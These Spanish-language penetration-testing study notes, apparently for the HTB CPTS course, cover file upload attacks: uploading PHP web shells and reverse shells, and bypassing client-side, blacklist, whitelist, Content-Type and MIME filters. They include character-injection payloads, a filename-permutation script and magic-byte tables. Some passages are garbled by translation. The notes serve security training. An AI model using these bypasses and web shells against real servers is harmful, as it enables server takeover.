CPTS4
CPTS4
[Link]
[Link] (Canal cristiano)
[Link]
[Link]
Contenido
Contenido
Ataques de carga de archivos ...................................................................................... 4
Inyecciones de comando ............................................................................................ 65
SQLMAP .........................................................................................................................115
ATAQUES WEB ...............................................................................................................201
Ataques de carga de archivos
Subir archivos de usuario se ha convertido en una función clave para la mayoría de las
aplicaciones web modernas, lo que permite la extensibilidad de las aplicaciones web
con la información del usuario. Un sitio web de redes sociales permite subir imágenes
de perfil de usuario y otras redes sociales, mientras que un sitio web corporativo puede
permitir subir archivos PDF y otros documentos para uso corporativo.
Sin embargo, al habilitar esta función, los desarrolladores de aplicaciones web
también corren el riesgo de permitir que los usuarios finales almacenen datos
potencialmente maliciosos en el servidor backend de la aplicación. Si la información
del usuario y los archivos subidos no se filtran ni validan correctamente, los atacantes
podrían explotar la función de carga de archivos para realizar actividades maliciosas,
como ejecutar comandos arbitrarios en el servidor backend para tomar el control.
Las vulnerabilidades de carga de archivos se encuentran entre las más comunes en
aplicaciones web y móviles, como se puede observar en los últimos informes CVE .
También observamos que la mayoría de estas vulnerabilidades se clasifican
como High vulnerabilidades Critical, lo que indica el nivel de riesgo que supone la
carga insegura de archivos.
Validación ausente
La aplicación web no menciona nada sobre qué tipos de archivos están permitidos, y
podemos arrastrar y soltar cualquier archivo que queramos, y su nombre aparecerá en
el formulario de carga, incluidos los archivos .php:
Además, si hacemos clic en el formulario para seleccionar un archivo, el cuadro de
diálogo del selector de archivos no especifica ningún tipo de archivo, como dice All
Filespara el tipo de archivo, lo que también puede sugerir que no se especifica ningún
tipo de restricciones o limitaciones para la aplicación web:
Todo esto nos dice que el programa parece no tener restricciones de tipo de archivo en
el front-end, y si no se especificaran restricciones en el back-end, podríamos cargar
tipos de archivos arbitrarios al servidor back-end para obtener control total sobre él.
Identificación del marco web
Identificación de vulnerabilidades
Ahora que hemos identificado el framework web que ejecuta la aplicación web y su
lenguaje de programación, podemos probar si podemos cargar un archivo con la
misma extensión. Como prueba inicial para determinar si podemos
cargar PHParchivos arbitrarios, crearemos un Hello Worldscript básico para
comprobar si podemos ejecutar PHPcódigo con el archivo subido.
Para ello, escribiremos <?php echo "Hello HTB";?>a [Link], e intentaremos subirlo a
la aplicación web:
Parece que el archivo se ha cargado correctamente, ya que aparece un mensaje que
indica File successfully uploadedque , lo que significa que the web application has no
file validation whatsoever on the back-end. Ahora, podemos hacer clic en
el Downloadbotón y la aplicación web nos llevará al archivo cargado:
Como podemos ver, la página imprime nuestro Hello HTBmensaje, lo que significa
que echose ejecutó la función para imprimir nuestra cadena y que PHPel código se
ejecutó correctamente en el servidor backend. Si la página no pudiera ejecutar código
PHP, veríamos nuestro código fuente impreso en ella.
En la siguiente sección, veremos cómo explotar esta vulnerabilidad para ejecutar
código en el servidor back-end y tomar control del mismo.
Comandos:
El último paso para explotar esta aplicación web es cargar el script malicioso en el
mismo lenguaje que la aplicación web, como un webshell o un script de shell inverso.
Una vez cargado el script malicioso y accedido a su enlace, deberíamos poder
interactuar con él para tomar el control del servidor backend.
Web Shells
Podemos encontrar muchos shells web excelentes en línea que ofrecen funciones
útiles, como la navegación de directorios o la transferencia de archivos. Una buena
opción PHP es phpbash , que proporciona un shell web semiinteractivo similar a una
terminal. Además, SecLists ofrece una gran variedad de shells web para diferentes
frameworks y lenguajes, que se pueden encontrar en el /opt/useful/seclists/Web-
Shellsdirectorio in PwnBox.
Podemos descargar cualquiera de estos webshells para el lenguaje de nuestra
aplicación web (PHPen nuestro caso), subirlo mediante la función de carga vulnerable
y acceder al archivo subido para interactuar con el webshell. Por ejemplo, intentemos
subir [Link] desde phpbash a nuestra aplicación web y luego naveguemos a su
enlace haciendo clic en el botón "Descargar".
Como podemos ver, este shell web ofrece una experiencia similar a la de una terminal,
lo que facilita la enumeración del servidor backend para su posterior explotación.
Pruebe otros shells web de SecLists y vea cuáles se adaptan mejor a sus necesidades.
Puede que no sea tan fácil de usar como otros shells web disponibles en línea, pero
aun así proporciona un método interactivo para enviar comandos y obtener su
resultado. Podría ser la única opción disponible durante algunas pruebas de
penetración web.
Consejo: si usamos este shell web personalizado en un navegador, puede ser mejor
usar source-view haciendo clic en [CTRL+U], ya que source-view muestra la salida del
comando tal como se mostraría en la terminal, sin ninguna representación HTML que
pueda afectar el formato de la salida.
Los shells web no son exclusivos de PHP, y lo mismo aplica a otros frameworks web,
con la única diferencia de las funciones utilizadas para ejecutar comandos del
sistema.
Para aplicaciones .NET web, podemos pasar el parámetro cmd ``` request('cmd')a
la función eval()``, y esta también debería ejecutar el comando especificado en
``` ?cmd=e imprimir su salida, como se muestra a continuación:
Shell inversa
Finalmente, veamos cómo podemos recibir shells inversas mediante la funcionalidad
vulnerable de carga. Para ello, debemos comenzar descargando un script de shell
inversa en el lenguaje de la aplicación web. Un shell inversa confiable PHPes el shell
inverso de PHP de pentestmonkey . Además, las mismas SecLists que mencionamos
anteriormente también contienen scripts de shell inversa para varios lenguajes y
frameworks web, y podemos usar cualquiera de ellos para recibir un shell inverso.
Descarguemos uno de los scripts de shell inverso mencionados anteriormente,
como pentestmonkey , y luego abrámoslo en un editor de texto para ingresar nuestros
valores IPy "listening" PORT, a los que se conectará el script. Para
el pentestmonkeyscript, podemos modificar las líneas 49y 50escribir la IP/PUERTO de
nuestra máquina:
Como podemos ver, recibimos una conexión exitosa desde el servidor back-end que
aloja la aplicación web vulnerable, lo que nos permite interactuar con ella para una
mayor explotación. El mismo concepto se puede aplicar a otros frameworks y
lenguajes web, con la única diferencia del script de shell inverso que utilizamos.
De forma similar, podemos generar scripts de shell inverso para varios idiomas.
Podemos usar varias cargas útiles de shell inverso con la -p bandera y especificar el
idioma de salida con -f ella.
Si bien las shells inversas siempre son preferibles a las web, ya que ofrecen el método
más interactivo para controlar el servidor comprometido, es posible que no siempre
funcionen y que tengamos que recurrir a ellas. Esto puede deberse a varias razones,
como tener un firewall en la red back-end que impide las conexiones salientes o si el
servidor web deshabilita las funciones necesarias para iniciar una conexión de vuelta.
Comandos:
Webshells:
[Link]
[Link]
[Link]
[Link]
Validación del lado del cliente
Muchas aplicaciones web solo dependen del código JavaScript del frontend para
validar el formato de archivo seleccionado antes de cargarlo y no lo cargarían si el
archivo no está en el formato requerido (por ejemplo, no es una imagen).
Sin embargo, como la validación del formato de archivo se realiza en el lado del cliente,
podemos omitirla fácilmente interactuando directamente con el servidor, omitiendo
así por completo las validaciones del frontend. También podemos modificar el código
del frontend mediante las herramientas de desarrollo de nuestro navegador para
desactivar cualquier validación existente.
El ejercicio al final de esta sección muestra una Profile Image funcionalidad básica,
que se ve frecuentemente en aplicaciones web que utilizan características de perfil de
usuario, como las aplicaciones web de redes sociales:
Sin embargo, esta vez, cuando aparece el cuadro de diálogo de selección de archivos,
no podemos ver nuestros PHPscripts (o puede que estén inactivos), ya que el cuadro
de diálogo parece estar limitado únicamente a formatos de imagen:
De todas formas, aún podemos seleccionar la All Filesopción para seleccionar
nuestro PHPscript, pero cuando lo hacemos, recibimos un mensaje de error que dice
( Only images are allowed!), y el Uploadbotón se deshabilita:
Esto indica algún tipo de validación del tipo de archivo, por lo que no podemos
simplemente cargar un shell web mediante el formulario de carga, como hicimos en la
sección anterior. Afortunadamente, toda la validación parece realizarse en el frontend,
ya que la página nunca se actualiza ni envía solicitudes HTTP después de seleccionar
nuestro archivo. Por lo tanto, deberíamos tener control total sobre estas validaciones
del lado del cliente.
Todo el código que se ejecuta en el lado del cliente está bajo nuestro control. Si bien el
servidor web se encarga de enviar el código front-end, su renderizado y ejecución se
realizan en nuestro navegador. Si la aplicación web no aplica ninguna de estas
validaciones en el back-end, deberíamos poder cargar cualquier tipo de archivo.
Como se mencionó anteriormente, para evitar estas protecciones, podemos modify
the upload request to the back-end servero podemos manipulate the front-end code to
disable these type validations.
Si capturamos la solicitud de carga con Burp, vemos la siguiente solicitud enviada por
la aplicación web:
La aplicación web parece estar enviando una solicitud de carga HTTP estándar a
[nombre del archivo] /[Link]. De esta forma, podemos modificar esta solicitud
para adaptarla a nuestras necesidades sin las restricciones de validación de tipo del
frontend. Si el servidor backend no valida el tipo de archivo cargado, teóricamente
deberíamos poder enviar cualquier tipo de archivo o contenido, y este se cargaría en el
servidor.
Las dos partes importantes de la solicitud son [ filename="[Link]"el contenido del
archivo] y el contenido del archivo al final de la solicitud. Si modificamos
[el filenamecontenido] [Link] y [el contenido] del shell web que usamos en la
sección anterior, estaríamos subiendo un PHP shell web en lugar de una imagen.
Entonces, capturemos otra solicitud de carga de imagen y luego modifiquémosla en
consecuencia:
Otro método para eludir las validaciones del lado del cliente es manipular el código del
frontend. Dado que estas funciones se procesan completamente en nuestro
navegador web, tenemos control total sobre ellas. Por lo tanto, podemos modificar
estos scripts o deshabilitarlos por completo. Después, podemos usar la función de
carga para cargar cualquier tipo de archivo sin necesidad de Burpcapturar ni modificar
nuestras solicitudes.
Para comenzar, podemos hacer clic en [ CTRL+SHIFT+C] para alternar el
navegador Page Inspectory luego hacer clic en la imagen de perfil, que es donde
activamos el selector de archivos para el formulario de carga:
Esto resaltará la siguiente entrada de archivo HTML en línea 18:
Aquí, vemos que la entrada de archivo especifica ( .jpg,.jpeg,.png) como los tipos de
archivo permitidos en el cuadro de diálogo de selección de archivos. Sin embargo,
podemos modificar esto fácilmente y seleccionar All Filescomo hicimos antes, por lo
que no es necesario cambiar esta parte de la página.
La parte más interesante es [ ] onchange="checkFile(this)", que parece ejecutar código
JavaScript cada vez que seleccionamos un archivo, lo que aparentemente realiza la
validación del tipo de archivo. Para obtener los detalles de esta función, podemos ir al
navegador Consolehaciendo clic en [ CTRL+SHIFT+K] y luego escribir el nombre de la
función ( checkFile) para obtener sus detalles:
function checkFile(File) {
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
[Link]();
$("#submit").attr("disabled", true);
...SNIP...
}
}
La clave de esta función es que comprueba si la extensión del archivo es una imagen.
De no ser así, imprime el mensaje de error que vimos anteriormente ( Only images are
allowed!) y desactiva el Uploadbotón. Podemos añadirla PHPcomo una de las
extensiones permitidas o modificarla para eliminar la comprobación de la extensión.
Afortunadamente, no necesitamos escribir ni modificar código JavaScript. Podemos
eliminar esta función del código HTML, ya que su uso principal parece ser la validación
del tipo de archivo, y eliminarla no debería causar problemas.
Para ello, podemos volver a nuestro inspector, hacer clic nuevamente en la imagen del
perfil, hacer doble clic en el nombre de la función ( checkFile) en la línea 18, y
eliminarlo:
Si podemos hacer clic en el enlace de arriba, llegaremos a nuestro shell web cargado,
con el que podemos interactuar para ejecutar comandos en el servidor back-end:
Nota: Los pasos que se muestran se aplican a Firefox, ya que otros navegadores
pueden tener métodos ligeramente diferentes para aplicar cambios locales a la fuente,
como el uso overrides en Chrome.
Comandos: (solución)
Se elimina lo siguiente
En la sección anterior, vimos un ejemplo de una aplicación web que solo aplicaba
controles de validación de tipos en el front-end (es decir, del lado del cliente), lo que
facilitaba eludirlos. Por eso, siempre se recomienda implementar todos los controles
de seguridad en el servidor back-end, donde los atacantes no puedan manipularlos
directamente.
Aun así, si los controles de validación de tipos en el servidor back-end no estuvieran
codificados de forma segura, un atacante podría utilizar múltiples técnicas para
evitarlos y alcanzar las cargas de archivos PHP.
El ejercicio que encontramos en esta sección es similar al que vimos en la sección
anterior, pero incluye una lista negra de extensiones no permitidas para impedir la
carga de scripts web. Veremos por qué usar una lista negra de extensiones comunes
puede no ser suficiente para evitar la carga de archivos arbitrarios y analizaremos
varios métodos para evitarla.
Como podemos ver, nuestro ataque no tuvo éxito esta vez, ya que obtuvimos
[error] Extension not allowed. Esto indica que la aplicación web podría tener algún tipo
de validación de tipo de archivo en el backend, además de las validaciones del
frontend.
Generalmente existen dos formas comunes de validar una extensión de archivo en el
back-end:
1. Prueba contra un blacklisttipo de
2. Prueba contra un whitelisttipo de
Además, la validación también puede comprobar si el file typetipo file
contentcoincide. La validación más débil consiste testing the file extension against a
blacklist of extensionen determinar si se debe bloquear la solicitud de carga. Por
ejemplo, el siguiente fragmento de código comprueba si la extensión del archivo
cargado es la correcta PHPy, en caso afirmativo, rechaza la solicitud:
Código PHP:
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}
El código toma la extensión del archivo ( $extension) del nombre del archivo subido
( $fileName) y la compara con una lista de extensiones bloqueadas ( $blacklist). Sin
embargo, este método de validación presenta una falla importante: It is not
comprehensivemuchas otras extensiones no están incluidas en esta lista, lo que
podría usarse para ejecutar código PHP en el servidor backend si se suben.
Consejo: La comparación anterior también distingue entre mayúsculas y minúsculas,
y solo considera extensiones en minúscula. En servidores Windows, los nombres de
archivo no distinguen entre mayúsculas y minúsculas, por lo que podemos intentar
cargar un archivo phpcon mayúsculas y minúsculas combinadas (por ejemplo, pHp),
lo cual también podría eludir la lista negra y debería ejecutarse como un script PHP.
Entonces, intentemos aprovechar esta debilidad para eludir la lista negra y cargar un
archivo PHP.
Extensiones de fuzzing
Como la aplicación web parece estar probando la extensión del archivo, nuestro
primer paso es analizar la funcionalidad de carga con una lista de posibles extensiones
y ver cuál de ellas devuelve el mensaje de error anterior. Cualquier solicitud de carga
que no devuelva un mensaje de error, que devuelva un mensaje diferente o que logre
cargar el archivo, podría indicar una extensión de archivo permitida.
Existen numerosas listas de extensiones que podemos utilizar en nuestro análisis de
fuzzing. PayloadsAllTheThingsProporciona listas de extensiones para aplicaciones
web PHP y .NET . También podemos usar una lista de extensiones
webSecLists comunes.
Podemos usar cualquiera de las listas anteriores para nuestro análisis de fuzzing.
Como estamos probando una aplicación PHP, descargaremos y usaremos
la lista PHPBurp History anterior. Luego, desde [nombre del archivo ], podemos
localizar nuestra última solicitud a /[Link][nombre del archivo], hacer clic
derecho sobre ella y seleccionar [nombre del archivo Send to Intruder]. En
la Positionspestaña [nombre del archivo], podemos Clearestablecer posiciones
automáticamente y luego seleccionar la .phpextensión [nombre del
archivo] filename="[Link]"y hacer clic en el Addbotón para agregarla como posición
de fuzzing:
Mantendremos el contenido del archivo para este ataque, ya que solo nos interesa
fuzzear extensiones de archivo. Finalmente, podemos acceder Loada la lista de
extensiones PHP de arriba en la Payloads pestaña " Payload Options. También
desmarcaremos la URL Encodingopción para evitar codificar el ( .) antes de la
extensión del archivo. Una vez hecho esto, podemos hacer clic en " Start Attackpara
iniciar fuzzear extensiones de archivo que no estén en la lista negra".
Podemos ordenar los resultados por Length, y veremos que todas las solicitudes con
Content-Length( 193) pasaron la validación de la extensión, ya que todas respondieron
con File successfully uploaded. En cambio, el resto respondió con un mensaje de error
que indicaba Extension not allowed.
Como podemos ver, nuestro archivo parece haberse subido. El último paso es acceder
a nuestro archivo de carga, que debería estar en el directorio de carga de imágenes
(profile_images), como vimos en la sección anterior. Después, podemos probar
ejecutando un comando, que debería confirmar que hemos superado la lista negra y
subido nuestro shell web:
Comandos:
• /SecLists/Discovery/Web-Content/[Link]
• /SecLists/Discovery/Web-Content/[Link]
• /SecLists/blob/master/Discovery/Web-Content/[Link]
• /SecLists/blob/master/Discovery/Web-Content/raft-small-extensions-
[Link]
• [Link]
Content/[Link]
• [Link]
Content/[Link]
• [Link]
Content/[Link]
• [Link]
0Insecure%20Files/Extension%20PHP/[Link]
• [Link]
0Insecure%20Files/Extension%20ASP
Cambie el Content-Type pero no es necesario
Filtros de lista blanca
Vemos que recibimos un mensaje que dice " Only images are allowed, lo cual puede
ser más común en aplicaciones web que ver un tipo de extensión bloqueada. Sin
embargo, los mensajes de error no siempre reflejan el tipo de validación utilizado, así
que intentemos buscar extensiones permitidas como hicimos en la sección anterior,
usando la misma lista de palabras que usamos antes:
Podemos ver que todas las variantes de extensiones PHP están bloqueadas (p.
ej php5., php7, phtml). Sin embargo, la lista de palabras que usamos también contenía
otras extensiones maliciosas que no estaban bloqueadas y se cargaron
correctamente. Por lo tanto, intentemos comprender cómo pudimos cargar estas
extensiones y en qué casos podríamos usarlas para ejecutar código PHP en el servidor
backend.
El siguiente es un ejemplo de una prueba de lista blanca de extensiones de archivo:
$fileName = basename($_FILES["uploadFile"]["name"]);
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}
Observamos que el script usa una expresión regular ( regex) para comprobar si el
nombre del archivo contiene alguna extensión de imagen permitida. El problema
radica en regex, ya que solo comprueba si el nombre del archivo contiene containsla
extensión, no si realmente endsla contiene. Muchos desarrolladores cometen estos
errores debido a una comprensión deficiente de los patrones de expresiones regulares.
Entonces, veamos cómo podemos evitar estas pruebas para cargar scripts PHP.
Extensiones dobles
El código solo comprueba si el nombre del archivo contiene una extensión de imagen;
un método sencillo para pasar la prueba de expresiones regulares es mediante Double
Extensions. Por ejemplo, si la .jpg extensión está permitida, podemos añadirla al
nombre del archivo subido y terminarlo con .php(p. ej., [Link]); en ese caso,
deberíamos poder pasar la prueba de lista blanca, a la vez que subimos un script PHP
que puede ejecutar código PHP.
Ejercicio: Intente difuminar el formulario de carga con esta lista de palabras para
encontrar qué extensiones están incluidas en la lista blanca del formulario de carga.
Interceptemos una solicitud de carga normal y modifiquemos el nombre del archivo a
( [Link]), y modifiquemos su contenido al de un shell web:
Sin embargo, esto puede no funcionar siempre, ya que algunas aplicaciones web
pueden usar un regexpatrón estricto, como se mencionó anteriormente, como el
siguiente:
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }
Este patrón solo debe considerar la extensión final del archivo, ya que usa ( ^.*\.) para
buscar coincidencias hasta el último ( .), y luego usa ( $) al final para buscar
coincidencias únicamente con las extensiones que terminan el nombre del archivo.
Por lo tanto, el above attack would not work. Sin embargo, algunas técnicas de
explotación pueden permitirnos eludir este patrón, pero la mayoría se basan en
configuraciones incorrectas o sistemas obsoletos.
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
Ejercicio: La aplicación web aún podría usar una lista negra para rechazar solicitudes
que contengan PHP extensiones. Intente fuzzear el formulario de carga con la lista de
palabras de PHP para encontrar las extensiones que el formulario incluye en su lista
negra.
Intentemos interceptar una solicitud de carga de imagen normal y usemos el nombre
de archivo anterior para pasar la estricta prueba de lista blanca:
Ahora, podemos visitar el archivo cargado e intentar ejecutar un comando:
Como podemos ver, logramos pasar con éxito la estricta prueba de lista blanca y
aprovechamos la mala configuración del servidor web para ejecutar código PHP y
obtener control del servidor.
Inyección de caracteres
Finalmente, analicemos otro método para eludir una prueba de validación de lista
blanca mediante Character Injection. Podemos inyectar varios caracteres antes o
después de la extensión final para que la aplicación web malinterprete el nombre del
archivo y ejecute el archivo subido como un script PHP.
Los siguientes son algunos de los caracteres que podemos intentar inyectar:
• %20
• %0a
• %00
• %0d0a
• /
• .\
• .
• …
• :
Cada carácter tiene un caso de uso específico que puede engañar a la aplicación web
para que malinterprete la extensión del archivo. Por ejemplo, ( [Link]%[Link])
funciona con servidores PHP de la versión 0 [Link] anteriores, ya que hace que el
servidor web PHP termine el nombre del archivo después de ( %00) y lo almacene como
( [Link]), sin dejar de pasar la lista blanca. Esto mismo se puede usar con
aplicaciones web alojadas en un servidor Windows, insertando dos puntos ( :) antes de
la extensión de archivo permitida (p. ej., [Link]:.jpg), que también debería escribir
el archivo como ( [Link]). De igual forma, cada uno de los demás caracteres tiene
un caso de uso que puede permitirnos cargar un script PHP sin pasar la prueba de
validación de tipos.
Podemos escribir un pequeño script bash que genere todas las permutaciones del
nombre del archivo, donde los caracteres anteriores se inyectarían antes y después de
las extensiones PHP y, de la siguiente manera: JPG
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$[Link]" >> [Link]
echo "shell$ext$[Link]" >> [Link]
echo "[Link]$char$ext" >> [Link]
echo "[Link]$ext$char" >> [Link]
done
done
Con esta lista de palabras personalizada, podemos ejecutar un análisis de fuzzing con
[nombre de Burp Intruderdominio], similar a los que hicimos anteriormente. Si el
backend o el servidor web están desactualizados o presentan alguna configuración
incorrecta, algunos nombres de archivo generados podrían eludir la prueba de lista
blanca y ejecutar código PHP.
Ejercicio: intente agregar más extensiones PHP al script anterior para generar más
permutaciones de nombres de archivo, luego pruebe la funcionalidad de carga con la
lista de palabras generada para ver cuáles de los nombres de archivo generados se
pueden cargar y cuáles pueden ejecutar código PHP después de cargarse.
Comandos:
Lista blanca detecta que la extinción permitida (ej. .jpg) se encuentre dentro del texto.
Lista negra bloquea si la extensión termina en algo no permitido (ej. .php).
([Link]); en ese caso, deberíamos eludir la prueba de lista blanca.
([Link]); en ese caso, deberíamos eludir la prueba de lista negra.
Inyección de caracteres:
• %20
• %0a
• %00
• %0d0a
•/
• .\
•.
•…
•:
\n \r \t
\x0d \x0a \x09
%0d %0a %09
	

 
 	
\u000d \u000a \u0009
\u560d \u560a \u5609
%C0%8d %C0%8a %C0%89
%E5%98%8d %E5%98%8a %E5%98%89
%E0%80%8d %E0%80%8a %E0%80%89
# # %E5%98%a3
%23 \u0023 %E0%80%a3
\x23 \u5623
# %C0%a3
; \00 	
%3B \x00 

\x3B %00
; � \x20
; � %20
\u003b \u0000 
\u563b \u5600  
%C0%bb %C0%80 \u0020
%E5%98%bb %E5%98%80 \u5620
%E0%80%bb %E0%80%80 %C0%A0
%E5%98%A0
%E0%80%A0
Hasta ahora, solo hemos trabajado con filtros de tipo que solo consideran la extensión
del archivo en el nombre. Sin embargo, como vimos en la sección anterior, aún
podemos controlar el servidor backend incluso con extensiones de imagen (p.
ej., [Link]). Además, podemos utilizar algunas extensiones permitidas (p. ej.,
SVG) para realizar otros ataques. Todo esto indica que probar solo la extensión no es
suficiente para prevenir ataques de carga de archivos.
Por eso, muchos servidores y aplicaciones web modernos también comprueban el
contenido del archivo subido para garantizar que coincida con el tipo especificado. Si
bien los filtros de extensión pueden aceptar varias extensiones, los filtros de contenido
suelen especificar una sola categoría (p. ej., imágenes, vídeos, documentos), por lo
que no suelen utilizar listas negras ni listas blancas. Esto se debe a que los servidores
web ofrecen funciones para comprobar el tipo de contenido del archivo, que suele
pertenecer a una categoría específica.
Existen dos métodos comunes para validar el contenido de un archivo: Content-Type
Headero File Content. Veamos cómo identificar cada filtro y cómo omitirlos.
Tipo de contenido
Comencemos el ejercicio al final de esta sección e intentemos cargar un script PHP:
Vemos que recibimos un mensaje que dice Only images are allowed. El mensaje de
error persiste y nuestro archivo no se carga, incluso probando algunos de los trucos
que aprendimos en las secciones anteriores. Si cambiamos el nombre del archivo
a [Link] [Link], o incluso si usamos [Link] de webshell,
la carga fallará. Dado que la extensión del archivo no afecta el mensaje de error, la
aplicación web debe estar probando el contenido del archivo para la validación de tipo.
Como se mencionó anteriormente, esto puede estar en Content-Type Headero File
Content.
El siguiente es un ejemplo de cómo una aplicación web PHP prueba el encabezado
Content-Type para validar el tipo de archivo:
Código: php
$type = $_FILES['uploadFile']['type'];
Filtros de tipo
AGB@htb[/htb]$ wget
[Link]
overy/Web-Content/[Link]
AGB@htb[/htb]$ cat [Link] | grep 'image/' > image-content-
[Link]
Ejercicio: intente ejecutar el escaneo anterior para encontrar qué tipos de contenido
están permitidos.
Para simplificar, simplemente seleccionemos un tipo de imagen (por
ejemplo image/jpg), luego interceptemos nuestra solicitud de carga y cambiemos el
encabezado Content-Type a él:
Esta vez obtenemos File successfully uploaded, y si visitamos nuestro archivo, vemos
que se cargó exitosamente:
Nota: Una solicitud HTTP de carga de archivo tiene dos encabezados Content-Type:
uno para el archivo adjunto (en la parte inferior) y otro para la solicitud completa (en la
parte superior). Normalmente, es necesario modificar el encabezado Content-Type del
archivo, pero en algunos casos la solicitud solo contendrá el POSTencabezado
Content-Type principal (por ejemplo, si el contenido cargado se envió como datos), en
cuyo caso será necesario modificarlo.
Tipo MIME
El segundo y más común tipo de validación del contenido de un archivo es probar el
archivo cargado MIME-Type. Multipurpose Internet Mail Extensions (MIME)es un
estándar de Internet que determina el tipo de un archivo a través de su formato general
y estructura de bytes.
Esto suele hacerse inspeccionando los primeros bytes del contenido del archivo, que
contienen la Firma de Archivo o los Bytes Mágicos . Por ejemplo, si un archivo empieza
por ( GIF87ao GIF89a), indica que es una GIFimagen, mientras que un archivo que
empieza con texto plano suele considerarse un Textarchivo. Si cambiamos los
primeros bytes de cualquier archivo a los bytes mágicos GIF, su tipo MIME se cambiará
a una imagen GIF, independientemente de su contenido o extensión restante.
Consejo: Muchos otros tipos de imágenes tienen bytes no imprimibles para sus firmas
de archivo, mientras que una GIFimagen comienza con bytes imprimibles ASCII (como
se muestra arriba), por lo que es la más fácil de imitar. Además, como la cadena GIF8es
común entre ambas firmas GIF, suele ser suficiente para imitar una imagen GIF.
Tomemos un ejemplo básico para demostrarlo. El filecomando en sistemas Unix
encuentra el tipo de archivo mediante el tipo MIME. Si creamos un archivo básico con
texto, se consideraría un archivo de texto, como se indica a continuación:
Filtros de tipo
Como vemos, el tipo MIME del archivo es ASCII text, aunque su extensión es .jpg. Sin
embargo, si escribimos GIF8al principio del archivo, se considerará una GIF imagen,
aunque su extensión siga siendo .jpg:
Filtros de tipo
Los servidores web también pueden utilizar este estándar para determinar los tipos de
archivo, lo cual suele ser más preciso que comprobar la extensión. El siguiente ejemplo
muestra cómo una aplicación web PHP puede comprobar el tipo MIME de un archivo
subido:
Código: php
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);
Como podemos ver, los tipos MIME son similares a los de los encabezados Content-
Type, pero su origen es diferente, ya que PHP usa la mime_content_type()función para
obtener el tipo MIME de un archivo. Intentemos repetir nuestro último ataque, pero
ahora con un ejercicio que prueba tanto el encabezado Content-Type como el tipo
MIME:
Al reenviar nuestra solicitud, recibimos el mensaje de error Only images are allowed.
Ahora, intentemos agregar ``` GIF8antes de nuestro código PHP para intentar imitar
una imagen GIF, manteniendo la extensión de archivo `` .php, de modo que se ejecute
el código PHP de todas formas:
Nota: Vemos que la salida del comando comienza con GIF8, ya que esta fue la primera
línea en nuestro script PHP en imitar los bytes mágicos GIF, y ahora se genera como
texto simple antes de que se ejecute nuestro código PHP.
Podemos usar una combinación de los dos métodos descritos en esta sección, lo que
podría ayudarnos a eludir algunos filtros de contenido más robustos. Por ejemplo,
podemos intentar usar un Allowed MIME type with a disallowed Content-Type[nombre
de dominio], un [nombre de dominio Allowed MIME/Content-Type with a disallowed
extension] o un [nombre de dominio Disallowed MIME/Content-Type with an allowed
extension], y así sucesivamente. De igual manera, podemos probar otras
combinaciones y permutaciones para intentar confundir al servidor web y,
dependiendo del nivel de seguridad del código, podríamos eludir varios filtros.
Comandos (Content-Type):
Comience con una solicitud que se pueda cargar (por ejemplo, una imagen jpg),
luego intente encontrar una extensión PHP permitida que no se bloquee y luego
utilice uno de los filtros de lista blanca para omitir ambos filtros de extensión.
image/bmp
image/cgm
image/g3fax
image/gif
image/ief
image/jp2
image/jpeg
image/jpg
image/jpe
image/jpm
image/jpx
image/jxl
image/pjpeg
image/png
image/[Link]
image/[Link]
image/sgi
image/svg+xml
image/tiff
image/tif
image/[Link]
image/[Link]
image/[Link]
image/[Link]
image/[Link]
image/[Link]
image/[Link]
image/[Link]-mmr
image/[Link]-rlc
image/[Link]
image/[Link]-modi
image/[Link]-fpx
image/[Link]-realpix
image/[Link]
image/[Link]
image/webp
image/x-cmu-raster
image/x-cmx
image/x-freehand
image/x-icon
image/x-jng
image/x-ms-bmp
image/x-pcx
image/x-pict
image/x-portable-anymap
image/x-portable-bitmap
image/x-portable-graymap
image/x-portable-pixmap
image/x-rgb
image/x-xbitmap
image/x-xpixmap
image/x-xwindowdump
application/x-asp
application/x-aspx
application/x-bat
text/x-c
application/x-coldfusion
application/x-cgi
text/css
application/x-msdownload
application/x-msdos-program
application/hta
text/html
text/html
text/plain
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php
application/x-httpd-php-source
application/x-httpd-php
application/x-httpd-php
application/x-perl
application/x-php
application/x-ruby
text/plain
application/x-sh
text/html
application/sql
application/x-shockwave-flash
text/plain
application/xml
Bytes Magicos:
JPEG,FF D8 FF
PNG,89 50 4E 47 0D 0A 1A 0A
GIF (87a),47 49 46 38 37 61
GIF (89a),47 49 46 38 39 61
BMP,42 4D
TIFF (II),49 49 2A 00
TIFF (MM),4D 4D 00 2A
WebP,52 49 46 46 XX XX XX XX 57 45 42 50 56 50 38
PHP,3C 3F 70 68 70
ASP,25 40 20 50 61 67 65
ASPX,25 40 20 50 61 67 65
EXE (PE),4D 5A
DLL (PE),4D 5A
BAT,40 65 63 68 6F
CGI/PL (Perl),23 21 2F 75 73 72 2F 62 69 6E 2F 70 65 72 6C
JS,2F 2A
HTML/HTM,3C 21 44 4F 43 54 59 50 45
XML,3C 3F 78 6D 6C
ICO,00 00 01 00
PDF,25 50 44 46 2D
ZIP,50 4B 03 04
RAR,52 61 72 21 1A 07
7Z,37 7A BC AF 27 1C
TAR,75 73 74 61 72 00 30 30
GZ,1F 8B 08
BZ2,42 5A 68
MP4,00 00 00 18 66 74 79 70 6D 70 34 32
MP3,ID3 03 00 00 00
WAV,52 49 46 46 XX XX XX XX 57 41 56 45
AVI,52 49 46 46 XX XX XX XX 41 56 49
FLV,46 4C 56 01
SWF,46 57 53
DOC (OLE),D0 CF 11 E0 A1 B1 1A E1
DOCX,50 4B 03 04
XLS (OLE),D0 CF 11 E0 A1 B1 1A E1
XLSX,50 4B 03 04
PPT (OLE),D0 CF 11 E0 A1 B1 1A E1
PPTX,50 4B 03 04
RTF,7B 5C 72 74 66 31
PS,25 21 50 53 2D
ELF,7F 45 4C 46
